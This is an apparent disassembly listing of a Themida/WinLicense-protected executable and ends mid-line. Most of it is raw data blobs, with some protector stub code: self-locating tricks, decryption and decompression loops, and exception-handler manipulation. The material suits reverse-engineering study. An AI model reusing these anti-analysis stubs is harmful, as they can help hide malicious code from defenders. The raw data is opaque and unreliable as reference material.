dd 222FFB0h, 0FF44C799h, 2 dup(0) dd offset byte_5F425D dd 0 dd offset byte_612D59 dd 5 dup(0) aR1 db 'Θ1|',0 align 4 dd 2 dup(0) dd 5BE8h, 0 dd 0F874248Ah, 0B1AAA1h, 2 dup(0) aB_1 db 'Δ>b',0 align 4 db '$',0Dh,0 align 4 dd 0FFFFAC6Bh, 2 dup(0) dd 0F82EFCh, 2 dup(0) dd 76F21790h, 612D59h, 3 dup(0) dd 0FFA4A030h, 26F0000h, 2 dup(0) dd offset dword_5CBE30 dd 0 dd 0B1180Fh, 3 dup(0) dd offset byte_5C173F dd 5 dup(0) dd 0FFA20882h, 0 dd 2, 5 dup(0) dd 0B48B0Dh, 3 dup(0) dd 0B61C1Ch, 0 dd 0B1180Fh, 0 dd 3950395h, 0 dd offset word_5BFAD6 dd 0Ah dup(0) dd 12FF54h, 2 dup(0) dd 0E8h, 0D532h, 0Eh dup(0) dd offset dword_57F994+68Fh align 10h dd 8A21177h, 4 dup(0) dd 12FFA4h, 5F1E22h, 3 dup(0) dd 0FFFFFFFFh, 0 aXeei db 'x eλ',0 align 4 dd 80h dup(0) dd 61074F05h, 5FC39Bh, 6 dup(0) aDfrD db 'dF|d°',0 align 10h dword_584E70 dd 2 dup(0) ; Themida_:00582EE0o dd 32597F5Dh, 2 dup(0) dd offset dword_600004 dd 1, 0 aDFL db 'DΪFΒ',0Dh,'΄',0 dd 0 dd 3028D8Dh, 3 dup(0) dd 9D6447F9h, 3 dup(0) dd offset byte_5F4CB3 dd 9 dup(0) aFirF db 'λ|=',0 align 4 dd 2 dup(0) aSI db 'αΘ΅',0 align 10h aTyujxeei db 'tYUx eλ',7,'$\',0 dd 9 dup(0) dd 836F11E8h, 9 dup(0) dd 49877FBh, 0 dd 7D1h, 2 dup(0) dd offset byte_5C53C9 dd 5 dup(0) dd offset dword_582534+4 align 10h dd 0FFFFFFFFh, 0Ch dup(0) aDeb db '}€₯',0 align 4 dd 3 dup(0) dd 2D59h, 3 dup(0) dd 7C90FB71h, 0FFA07E09h, 0Dh dup(0) dd offset byte_5BF907 dd 10h dup(0) dd 2D59h, 2 dup(0) dd 0B3B738h, 0 dd 9Ch, 0 aSmn db '¬',0 align 10h aJ db 8,'ΞΏ',0 align 4 aY db 'Y-',0 align 4 dd 4 dup(0) dd 0FF4445EBh, 3 dup(0) dd 0B10000h, 0A7D287h, 5 dup(0) dd 3D57h, 2638h, 0 dd offset dword_5D9534 dd 4 dup(0) dd 245F0E99h, 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h dd 815B0000h, 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00B1FAh dd 24448BE0h, 0E0FF04h, 16h dup(0) dd offset byte_5F1F49 dd 6 dup(0) aDF_0 db 'DΪFΒ',0 align 2 a@_0 db '@',0 dd 5 dup(0) dd offset byte_60351B align 8 dd offset word_5BFAD6 dd 2 dup(0) dd 2530000h, 0 dd 0C49CBF16h, 0 dd offset byte_5F2635 dd 0 dd 0B73F5Ch, 0Bh dup(0) dd 76B44E5Bh, 7C801A24h, 7C90DDF9h, 0 dd 5C28h, 0 a0I_1 db 'ί0Ε©',0 align 4 dd 5 dup(0) dd 7C803518h, 0 dd 7F1ACA3Dh, 9 dup(0) dd 0FFFFFAD6h, 0 dd offset byte_5DAF8D dd 77DDEE5Ah, 912B661Ch, 28h dup(0) dd 0FBh, 4 dup(0) dd 32597F5Dh, 2 dup(0) aRestartapp_exe db 'RestartApp.exe',0 align 4 dd offset word_5FA4F2 dd 0 dd 4C170C15h, 24h dup(0) dd 6813h, 0 aFir_16 db 'λ|',0 align 10h dd 2 dup(0) dd 11111111h, 0 dd 7C90EE18h, 0 dd 0BD850FBDh, 280h, 6 dup(0) dd 1F2FFB0h, 4 dup(0) dd offset word_5BFAD6 dd 7 dup(0) aN_1 db '!!!!Μn\',0 dd offset byte_5BCB8D dd 0BA6607E9h, 7C8034F0h, 4 dup(0) dd offset byte_5BF907 dd 12FFE0h, 3 dup(0) dd 25C6DF4h, 7 dup(0) dd offset byte_5FC39B dd 0B11920h, 582538h, 3 dup(0) dd 0B19417h, 5 dup(0) dd 7D0Dh, 89C596B2h, 0Fh dup(0) dd offset byte_60AEF3 aThemida db 'Themida',0 dd 20h dup(0) dd 8A7F6F08h, 9 dup(0) dd 9C7C1FAh, 0 dd offset byte_5C0979 align 10h dd 0FFA3E2B0h, 9 dup(0) dd 0B1B508h, 5FF8EDh, 0F66FAD9h, 0FBD96FA6h, 0 dd 0B1180Fh, 0FAC66FF6h, 0 dd offset dword_583210 aXa db '·',27h,0 align 8 aTdz db 'tZ ',0 align 10h dd 0 dd offset byte_5B4B69 dd 0 dd 0FC8A87B5h, 3 dup(0) dd 0B69178h, 5 dup(0) dd offset dword_5B5FD0 dd 7 dup(0) dd 0FDEBFF2Eh, 0Bh dup(0) dd 2D59h, 9 dup(0) dd offset byte_60AEF3 dd 5 dup(0) dd 0FFA1487Bh, 11h dup(0) dd offset byte_60C639 dd 0FFFF94A4h, 5 dup(0) dd 26D0000h, 0 dd 0BB3867h, 2 dup(0) dd 1A38h, 0 dd 0FE43FF51h, 1C32DF67h, 3D94h, 2 dup(0) dd 963Ah, 0 dd 1, 2 dup(0) dd offset byte_5C3867 dd 0 aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 7Dh dup(0) dd 0F874248Ah, 60C4CAh, 2 dup(0) dd 0FFFF98EAh, 0 dd 0B119F0h, 6 dup(0) dd 170DEF19h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_585A20: ; CODE XREF: start:loc_58248Bj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 7E4359Fh mov [ebp+7E40649h], edx mov [ebp+7E40F11h], esi mov [ebp+7E41271h], eax cmp dword ptr [ebp+7E40E65h], 0 jz short loc_585A58 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_585A58: ; CODE XREF: start+70A36j mov eax, [esp+40h+var_1C] mov [ebp+7E41551h], eax push 45h call sub_585B0C push 783749Ah call sub_585B52 push 0A894B25h call sub_585B52 jmp loc_585C96 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_585B0C proc near ; CODE XREF: start+70A50p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 7E4368Dh mov ebx, edx mov [ebp+var_28], 0 loc_585B28: ; CODE XREF: sub_585B0C+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_585B47 mov eax, [ebp+arg_0] mov [ebx+7E435F7h], eax inc [ebp+arg_0] inc ebx jmp short loc_585B28 ; --------------------------------------------------------------------------- loc_585B47: ; CODE XREF: sub_585B0C+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_585B0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_585B52 proc near ; CODE XREF: start+70A5Ap start+70A64p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 7E436D6h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_585B78: ; CODE XREF: sub_585B52+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_585B78 mov [ebp+var_84], 0 lea edi, [edx+7E435F7h] lea esi, [ebp+var_80] loc_585BA8: ; CODE XREF: sub_585B52+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_585BB4: ; CODE XREF: sub_585B52+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_585BB4 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_585BA8 popa leave retn 4 sub_585B52 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_585BF2 ; --------------------------------------------------------------------------- loc_585BEE: ; CODE XREF: Themida_:00585BF5j inc dword ptr [ebp-4] inc esi loc_585BF2: ; CODE XREF: Themida_:00585BECj cmp byte ptr [esi], 0 jnz short loc_585BEE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_585C83 ; --------------------------------------------------------------------------- loc_585C04: ; CODE XREF: Themida_:00585C86j mov dword ptr [ebp-8], 0 jmp short loc_585C7A ; --------------------------------------------------------------------------- loc_585C0D: ; CODE XREF: Themida_:00585C7Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_585C67 ; --------------------------------------------------------------------------- loc_585C1D: ; CODE XREF: Themida_:00585C6Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_585C3F cmp bl, 39h ja short loc_585C3F sub bl, 30h jmp short loc_585C61 ; --------------------------------------------------------------------------- loc_585C3F: ; CODE XREF: Themida_:00585C33j ; Themida_:00585C38j cmp bl, 61h jb short loc_585C51 cmp bl, 66h ja short loc_585C51 sub bl, 61h add bl, 0Ah jmp short loc_585C61 ; --------------------------------------------------------------------------- loc_585C51: ; CODE XREF: Themida_:00585C42j ; Themida_:00585C47j cmp bl, 41h jb short loc_585C61 cmp bl, 46h ja short loc_585C61 sub bl, 41h add bl, 0Ah loc_585C61: ; CODE XREF: Themida_:00585C3Dj ; Themida_:00585C4Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_585C67: ; CODE XREF: Themida_:00585C1Bj cmp dword ptr [ebp-0Ch], 2 jb short loc_585C1D cmp dword ptr [ebp-10h], 0 jbe short loc_585C77 mov eax, [ebp-10h] stosb loc_585C77: ; CODE XREF: Themida_:00585C71j inc dword ptr [ebp-8] loc_585C7A: ; CODE XREF: Themida_:00585C0Bj cmp dword ptr [ebp-8], 2 jb short loc_585C0D add edx, 4 loc_585C83: ; CODE XREF: Themida_:00585C02j cmp edx, [ebp-4] jb loc_585C04 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_585C96: ; CODE XREF: start+70A69j mov ecx, 7000h lea edi, [ebp+7E4381Ch] loc_585CA1: ; CODE XREF: start+70C91j dec byte ptr [edi] inc edi dec ecx jnz short loc_585CA1 mov eax, 48692121h mov edx, 0F0115000h sub edx, 0F0000000h lea eax, [ebp+7E4390Eh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push edx call sub_585CDD and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_585CDD proc near ; CODE XREF: start+70CC1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_585CDD endp ; --------------------------------------------------------------------------- db 73h, 56h, 66h dd 5B6AD2BBh, 1800Fh, 0F9F90000h, 66C22BF9h, 1B63F381h dd 0FFF00025h, 0DFB70FFFh, 0FF33CA8Bh, 4D388166h, 0F0E755Ah dd 33C50B7h, 503A81D0h, 74000045h, 10002D08h, 0EB470000h dd 58F64E3h, 0 dd 8D04C483h, 0E4392195h, 0FF645207h, 35h, 25896400h, 0 dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h dd 3768000h, 331C708Bh, 32F883C0h, 81661F74h, 745A4D3Eh dd 0EE8109h, 40000100h, 7E8BEBEBh, 81FE033Ch, 45503Fh dd 0EB447400h, 58F64E8h, 0 dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 244C8B51h, 0E85510h, 5D000000h, 392CED81h, 858D07E4h dd 7E438EAh, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h dd 0BE804C4h, 9000000h, 99CB7383h, 7ECAA2F6h, 0EF80436Ch dd 0FEB75BE8h, 52D98C66h, 19D0BBBh, 0E1805B70h, 50006A04h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0C2DDED80h, 0E9AA6492h, 0Ch, 675A107h, 0BB4F5D4Bh, 79B14D43h dd 850FC90Ah, 79h, 14E960h, 2D300000h, 7A183783h, 2E0315FBh dd 15CF39A9h, 81DA85EFh, 0C68AF61Eh, 22BB6661h, 1585C738h dd 107E420h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 83BDC351h, 7CB40D07h dd 0E93BA3AEh, 13h, 0F17EE9E2h, 0C62AECADh, 0B6A56C88h dd 444926FFh, 66DEAF17h, 0BF0FDF8Bh, 14E9D8h, 81660000h dd 8B157CCBh, 1585C7DFh, 7E420h, 0F000000h, 8589DAB7h dd 7E4019Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0CC35343h, 66832669h, 0EE9DCh, 0F9EF0000h, 96A80AFh dd 9948D15Fh, 5778ADC5h, 75DB8166h, 41858912h, 0E807E421h dd 6, 631233Ah, 8B6698CFh, 8C0F5FC1h, 2, 0C78195B0h, 75BBh dd 0F512BEF8h, 0EE813B77h, 3B77D7C8h, 38DAD281h, 1F8B0551h dd 2800F60h, 8A000000h, 0C38161C5h, 1FE5114Ch, 7E9h, 0C5D59300h dd 0A8DDE311h, 895F381h, 0D38B4DA3h, 0E73FEB81h, 0B8662AE7h dd 0B953710Eh, 635E71BEh, 0B866078Fh, 0EF8368BDh, 4F7EB402h dd 0D38B664Fh, 0D850F4Eh, 0E9000000h, 1Bh, 0EB316Eh, 4341A007h dd 49E98166h, 0FF9CE961h, 990EFFFFh, 0F6A69413h, 0E8F4ED61h dd 6, 0FF06E11Fh, 0BE66B8F6h, 815A31A2h, 62CAC2h, 14E900h dd 0D13A0000h, 817A1EDDh, 5974B0BEh, 3488FE70h, 0C55664FEh dd 688094h, 0F000000h, 6659F0B7h, 34FFC78Bh, 8A0F5B11h dd 2, 0C381F28Bh, 109C3FAh, 0C6E08152h, 5F176482h, 25C2F381h dd 0BF0F6DD9h, 0D9F381F7h, 661A86E6h, 89A7B0BEh, 6FB80A1Ch dd 0F412DE0h, 287h, 83FA8B00h, 0B70F01E9h, 494949F0h, 0F981F88Bh dd 0FFFF9DDCh, 0B850Fh, 1BE90000h, 0BC000000h, 0F875DBDDh dd 3870F81h, 66000000h, 93E9FA8Bh, 0FFFFFFFh, 0B9D9BD2Eh dd 4EB7148h, 21Bh, 6E3E9h, 0E0816000h, 3919B8BBh, 24ADBD09h db 0E4h, 7, 61h byte_586067 db 60h ; DATA XREF: Themida_:005842C4o dd 68F0F60h, 0F000000h, 88h, 0C02B6100h, 1E199D89h, 548B07E4h dd 89F92824h, 0E412D185h, 0C58D8907h, 0BE07E41Ch, 3Ch dd 7E960h, 0DD520000h, 5AA3BF81h, 8BCB8000h, 24740361h dd 3D858924h, 6607E42Bh, 71B589ADh, 307E41Ch, 89242444h dd 0E4043D8Dh, 13E907h, 8150000h, 0BA764FC2h, 0CD444F80h dd 91B50B4Dh, 4C1612BDh, 840F5067h, 19h, 14E9h, 4039A000h dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h, 240489CBh dd 2D199589h, 8BF807E4h, 81607840h, 8BE50EEBh, 44036112h dd 0BD892824h, 7E42D1Dh, 0F918408Bh, 8589F540h, 7E43BC5h dd 1BADB589h, 0F5807E4h, 18Dh, 708BF900h, 11B53178h, 2907E425h dd 0E414F185h, 1CC68307h, 0BE9h, 0D267C800h, 89617AFEh dd 0CBC6FF96h, 24247403h, 5E9h, 85CA5300h, 0BD8DCBB7h dd 7E4090Dh, 1860Fh, 0FF80000h, 1384h, 8D0B6000h, 7E426F9h dd 6E9h, 8510C300h, 6131F885h, 0B58D89ADh, 307E423h, 60242444h dd 0D04BE66h, 2C4D8D8Bh, 896107E4h, 0E42A0595h, 0BB60AB07h dd 6B878890h, 0BE9h, 6ED4B00h, 0EC2EFC73h, 7F36129Dh, 0DBD8D61h dd 0F07E422h, 68Bh, 0ADB50900h, 0AD07E407h, 61958B60h dd 6007E427h, 6AD8D8Bh, 10E907E4h, 82000000h, 96BA1429h dd 0C98CA7AAh, 5048C203h, 61CB0BFBh, 2D8D8961h, 307E41Ah dd 0E9242444h, 0Eh, 3AE6EBBFh, 0F3355722h, 9666EDABh, 6050898Eh dd 51B8ECB6h, 616ABFA2h, 31240489h, 0E4023585h, 0AE9AB07h dd 42000000h, 7F4104BCh, 93FF09CAh, 0F9BD8DF0h, 0F07E41Ah dd 18Eh, 29ADFC00h, 0E4264195h, 24440307h, 6800F28h, 29000000h dd 0E42005BDh, 0E9F8AB07h, 7, 0A0006EC0h, 5E94CA40h, 6850Fh dd 8D310000h, 7E40DB9h, 2DC5B589h, 8DFF07E4h, 7E43BC5h dd 3BC5BD83h, 750007E4h, 2444C710h, 1Ch, 41B58D00h, 0FF07E440h dd 3AD56E6h, 97282444h, 858ADF8Bh, 7E42C2Dh, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 12D185FFh, 6FE907E4h, 5EFFFFFFh, 0FE9h, 72851700h dd 46E32429h, 0A80216A0h, 0C5B98C77h, 63D9D89h, 858B07E4h dd 7E412D1h, 2A5D9D89h, 0E0D107E4h, 33319D89h, 850307E4h dd 7E41AF9h, 0F62BF8F5h, 95895360h, 7E40A99h, 2E18159h dd 61797576h, 31858996h, 6607E430h, 6D8509ADh, 0C107E416h dd 950902E0h, 7E42B05h, 0BE9h, 0B14C8800h, 0DE942BCAh dd 1DA46258h, 90D8503h, 8F0F07E4h, 14h, 0FE9h, 5D1A2F00h dd 3CB2D88h, 987063C4h, 0C84E4C4Fh, 0E7816096h, 4D8B11B6h dd 1F21B589h, 0AD6107E4h, 5E9h, 0CD60C00h, 4C8BAEBCh, 9D092424h dd 7E4156Dh, 24244403h, 0DAD9529h, 448907E4h, 880F1C24h dd 1, 6830FF9h, 89000000h, 0E4236595h, 85899607h, 7E4165Dh dd 0F60ACF9h, 58Eh, 0D8816600h, 3261B717h, 8E0F60C9h, 2 dd 0FE615953h, 198B0FC1h, 0F000000h, 1384h, 0EE900h, 0EAE70000h dd 3E20835h, 822B580Dh, 7CF68B79h, 830FD0D0h, 0A0h, 0FD0D0FCh dd 9783h, 160F500h, 0E41B21B5h, 0A1852907h, 6107E408h dd 820FD0D0h, 80h, 23099529h, 0D0D007E4h, 72820Fh, 95090000h dd 7E40E4Dh, 0FC9FEFCh, 0FFFFBB89h, 61F960FFh, 8920C483h dd 0E4142985h, 2444C707h, 0FCh, 0BD016000h, 7E40299h, 0EFD9D29h dd 0B86107E4h, 1, 6E9h, 80D73900h, 0E968B082h, 12h, 403D9135h dd 3D740481h, 21B46085h, 0C3EDF65Ah, 8D8D2CCCh, 7E472B7h dd 2025B529h, 0E1FF07E4h, 7E9h, 7A2EA200h, 13495F31h, 2C2D85C6h dd 0FC0007E4h, 0B58B6061h, 7E41D6Dh, 0EB02E981h, 0C2614AD2h dd 9D890008h, 7E41979h dword_5864EC dd 50525050h, 0F616052h, 0BE931h, 5B220000h, 1E08F1F3h ; DATA XREF: Themida_:00584838o dd 7C58283Fh, 0F585A92h, 0EE931h, 0B0330000h, 0B7D08BD3h dd 0CC3FE22Ch, 8C353668h, 3489585Ah, 1E860F24h, 0F000000h dd 188Ah, 13E900h, 0CC50000h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh dd 410C9122h, 8AB58937h, 0E907E442h, 0Ah, 32BAF8E8h, 0CA64B211h dd 8D898360h, 7E44295h, 6840Fh, 0BD010000h, 7E41945h, 410BB58Dh dd 8DFC07E4h, 5B8EA185h, 0D0FFFC00h, 0B5B58960h, 6007E41Ah dd 6161C8B6h, 0EDBD095Eh, 0C307E418h, 243DB589h, 0B58B07E4h dd 7E4428Ah, 0F858589h, 8D8B07E4h, 7E44295h, 68A0Fh, 0B5090000h dd 7E42B69h, 0B8h, 168A0F00h, 0F000000h, 108Fh, 0BE900h dd 4200000h, 8D1E66E5h, 0CC306876h, 0E9D98B8Bh, 8, 29E5735h dd 2BC81AE0h, 0ECE9h, 6800F00h, 89000000h, 0E40DED8Dh dd 29263207h, 0E40EA58Dh, 0F902B207h, 8CE9h, 1D860F00h dd 60000000h, 10E9h, 987BA500h, 3ED2A770h, 0AE380F4Ch dd 95337C87h, 0B19D897Ch, 6107E406h, 60FCC232h, 68D0Fh dd 0DF810000h, 27FFFD2h, 3BC78166h, 7A056111h, 298A751Dh dd 0E42AE195h, 85B58907h, 8A07E409h, 850B60CCh, 7E4140Dh dd 0FCC8D361h, 0D1084235h, 14E998h, 6A2C0000h, 7712847Dh dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 0CAFE6346h, 10E9h dd 0A435DE00h, 2C3B319Eh, 3D253766h, 0A1672D0Ch, 0FD20A55h dd 0FFFF8F85h, 0C800FFFh, 0F000000h, 687h, 0A9853100h dd 4B07E40Bh, 11E9h, 0CE67A400h, 0E7BA6760h, 821D5FA5h dd 89967BEBh, 146C0CDh, 0E41CD59Dh, 68E0F07h, 31000000h dd 0E40D898Dh, 0FDB0B07h, 0FFFF1885h, 0E800FFFh, 60000000h dd 159D8Bh, 870F07E4h, 0 dd 11E9CF61h, 72000000h, 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah dd 4D1D4049h, 8E9h, 959BE500h, 8B892C74h, 29000066h, 0E420C995h dd 0FC000007h, 66600000h, 22BAC781h, 8D0F6061h, 3, 66D0BF0Fh dd 0A0E5DF81h, 0F9000061h, 3BDC858Dh, 12E907E4h, 91000000h dd 878261E5h, 0D88300h, 6C81D8EAh, 73FFA96Ch, 81BD8987h dd 8907E400h, 0E41E3985h, 6E907h, 9CF70000h, 0CB4BE497h dd 4061858Dh, 89FC07E4h, 0E423AD85h, 14EB07h, 3 dup(0) dd 0E4000000h, 8D000000h, 0E443C885h, 0AD858907h, 8307E418h dd 0E44300BDh, 840F0007h, 12Bh, 2C2D85C6h, 0E85607E4h dd 4, 0D41F6D39h, 24448B50h, 89008B04h, 58042444h, 19DB5FFh dd 858D07E4h, 7E43BDCh, 8589D0FFh, 7E442F4h, 2C2D85C6h dd 0E85607E4h, 4, 9CA8B852h, 24448B50h, 89008B04h, 58042444h dd 19DB5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E442F8h dd 7C68046Ah, 8170F240h, 507C2434h, 858B70F2h, 7E44304h dd 1F405h, 2E0C100h, 6A905090h, 0F895FF00h, 8907E442h dd 0E442FC85h, 0B8D88B07h, 0FFFFFFFFh, 18AD95FFh, 0C38B07E4h dd 18AD95FFh, 84E907E4h db 3 dup(0) byte_586853 db 83h ; DATA XREF: Themida_:00583D38o dd 0E44300BDh, 850F0007h, 1, 0BD8B57C3h, 7E442FCh, 0FC8583ABh dd 407E442h, 0BD83C35Fh, 7E44300h, 1850F00h, 0C3000000h dd 0FCAD8360h, 407E442h, 42FC9D8Bh, 7B8307E4h, 850FFFFCh dd 1Dh, 1A3F3168h, 24348101h, 11ABF31h, 33FF006Ah, 42F495FFh dd 0C36107E4h, 1DE9h, 0F9D46800h, 34810494h, 9479D424h dd 0FF006A04h, 0F495FF33h, 8307E442h, 0E442FCADh, 0B1E90407h dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h dd 46068A80h, 0BB470788h, 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh dd 0C0330000h, 850FD202h, 5, 1246168Ah, 2A830FD2h, 2000001h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h dd 885F078Ah, 2BB4707h, 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5 dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h, 0E88B02D1h dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 0C26CD903h dd 0ADE14B36h, 5C8B9782h, 971CBED6h, 0B5D308B9h, 0F874504Dh dd 7A314728h, 9AFEC71h, 0CF6CFF5Eh, 0A5ED093Dh, 0FD98090h dd 0D21BACC7h, 0D6BC43B6h, 0EC7E5A3Dh, 283D4635h, 0FADEC71h dd 0CF6CFC51h, 0B8F20927h, 11D99F8Ah, 0C500B2DBh, 0B5D74DA2h dd 0E8691609h, 7A705735h, 0FB8A270h, 0D66CEA45h, 0B8F34621h dd 0D79F84h, 63h dup(0) dd 0CB6CD903h, 0BEFD473Ch, 0CD9808Ah, 0C508B0CCh, 0B39600BAh dd 0EF3B450Ch, 287F4623h, 0EB4ED62h, 0D33EB854h, 0A4FD473Dh dd 1290D282h, 0C200A69Eh, 0A2C54DA9h, 0E07E421Eh, 581C2968h dd 13A0E768h, 0D36CB455h, 0ABFB453Dh, 890D281h, 0D81DB99Eh dd 0BEDB4DB6h, 0F4695900h, 6C7F4266h, 13A4F024h, 0D23EF944h dd 0BFFB5073h, 0E89D297h, 0D61DB8D1h, 43B6h, 48h dup(0) dd 0C56CD903h, 0A1F74821h, 0FDE8080h, 0D800AB9Eh, 0BADE4DB7h dd 0E879161Eh, 6E314D23h, 4AFF76Bh, 0C839EA10h, 0ADFA403Dh dd 5C979BC5h, 0C51AB0C7h, 0A8CF1EFBh, 0A3765319h, 64412E4Ch dd 5B2E361h, 0C839B81Ch, 0AEF5463Fh, 5C8D9BC5h, 0DA00ADD8h dd 0B6D300FBh, 0AD624402h, 28754D27h, 14B2E776h, 8638EA51h dd 0B8E1462Ah, 138B82C5h, 0DA0EADD9h, 0F5h, 61h dup(0) dd 0CA25DE03h, 0A5F70936h, 0C8C8097h, 960BBACAh, 0B3E24DF5h dd 0FD3B4504h, 7A764C34h, 8E1EF65h, 0C46CEB51h, 0EAFA4C36h dd 15979388h, 0D603AACEh, 0FBD208AFh, 0AD7F580Ch, 6A68422Bh dd 9CC8861h, 863FBF44h, 0AFF2473Ah, 189C8686h, 9716BD9Eh dd 0B2E04DBAh, 0AD68431Fh, 6B315129h, 0BA2E376h, 8662FC55h dd 0B9FD4107h, 109094C5h, 0D818FFDBh, 0FBC24AB5h, 0E669591Ah dd 717F4266h, 5B3ED69h, 1Eh, 0E0h dup(0) aWlnumdllsprot db 'WLNumDLLsProt',0 a0 db '0',0 dd 8 dup(0) dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0 dd 0E9000000h, 2B34h, 12B1EA81h, 9FC659Fh, 0E42B6195h dd 8BC08B07h, 0E40B1D9Dh, 0F1BD8307h, 7E413h, 0BD830975h dd 7E40935h, 50137400h, 0B8C08B53h, 1, 0E8929D8Dh, 0D3FF07E6h dd 0BD83585Bh, 7E40935h, 50117400h, 1B853h, 9D8D0000h dd 7E6E743h, 585BD3FFh, 20399D23h, 0BD0107E4h, 7E42629h dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0CF3280C3h, 0FB95F014h, 0C38166DEh, 0BD838363h dd 7E40ECDh, 0FA840F00h, 66000000h, 0BD83DA8Bh, 7E41CDDh dd 0EA840F00h, 66000000h, 0EEAED381h, 95852960h, 8B07E41Fh dd 0E41CDD85h, 0E805F507h, 89000003h, 0E40D9995h, 66609007h dd 61CD37BAh, 0BE950h, 0EBA80000h, 